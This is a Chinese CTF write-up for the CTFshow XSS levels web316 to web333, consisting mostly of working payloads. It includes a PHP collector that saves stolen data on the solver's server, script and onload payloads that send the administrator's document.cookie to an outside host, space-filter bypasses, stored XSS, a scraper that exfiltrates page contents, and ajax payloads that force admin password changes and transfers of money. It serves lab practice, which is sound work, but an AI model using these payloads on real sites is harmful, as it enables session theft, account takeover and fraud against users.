CTFshow--web--xss

发布于:2024-07-17 ⋅ 阅读:(168) ⋅ 点赞:(0)

目录

web316

web317~319

web320~326

web327

web328

web329

web330

web331

web332

web333


先在自己的服务器写上代码

<?php

$content = $_GET[1];
if(isset($content)){
    file_put_contents('flag.txt','$content');
}else{
    echo 'no data input';
}

要拿到管理员的cookie , 而不是自己的

web316

<script>document.location.href="[ip]/x.php?1="+document.cookie</script>

web317~319

有了过滤

<body οnlοad="window.location.href='http://[ip]/x.php?1='+document.cookie">

web320~326

过滤了空格

<body/οnlοad="window.location.href='[ip]/x.php?1='+document.cookie">
 

web327

存储型xss

在信的内容那里输入
<script>document.location.href='http://pmjphw.top/x.php?1='+document.cookie</script>

web328

注册的地方
注册一个密码为XSS Payload
<script>document.location.href='[ip]?1='+document.cookie</script>

就可以在自己的服务器上得到 管理员的cookie
在网页上将自己的cookie换掉 就可以进入到用户管理界面了 ,里面存在flag
但是一进入到里面就会跳转, 只能看到一瞬间的flag , 所以还需要进行抓包查看

多抓包了几次 , 搞了一下, 好像也进入到这个界面了, 没有跳转

web329

用上一个方法拿cookie的话没有用, 已经失效了,登录不上

直接拿内容
 

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='[ip]/x.php?1='+value.innerHTML;}});</script>

web330

有一个修改密码的模块
在修改密码的那里 写入xss payload

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

然后 admin  /  123   登录
然后进入到用户管理界面

速度快一点, 两秒左右就会跳转走

web331

在注册的用户名处写入 xss   payload

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

然后 admin  /  123   登录

web332

先注册一个123的用户登录
然后再注册一个 xss payload  的用户

123的用户就可以收到钱了

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>

web333

跟上一题一样

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>

CTFSHOW-XSS - Boogiepop Doesn't Laugh
ctfshow-XSS篇 - 简书
https://juejin.cn/post/7083663044865163277


网站公告

今日签到

点亮在社区的每一天
去签到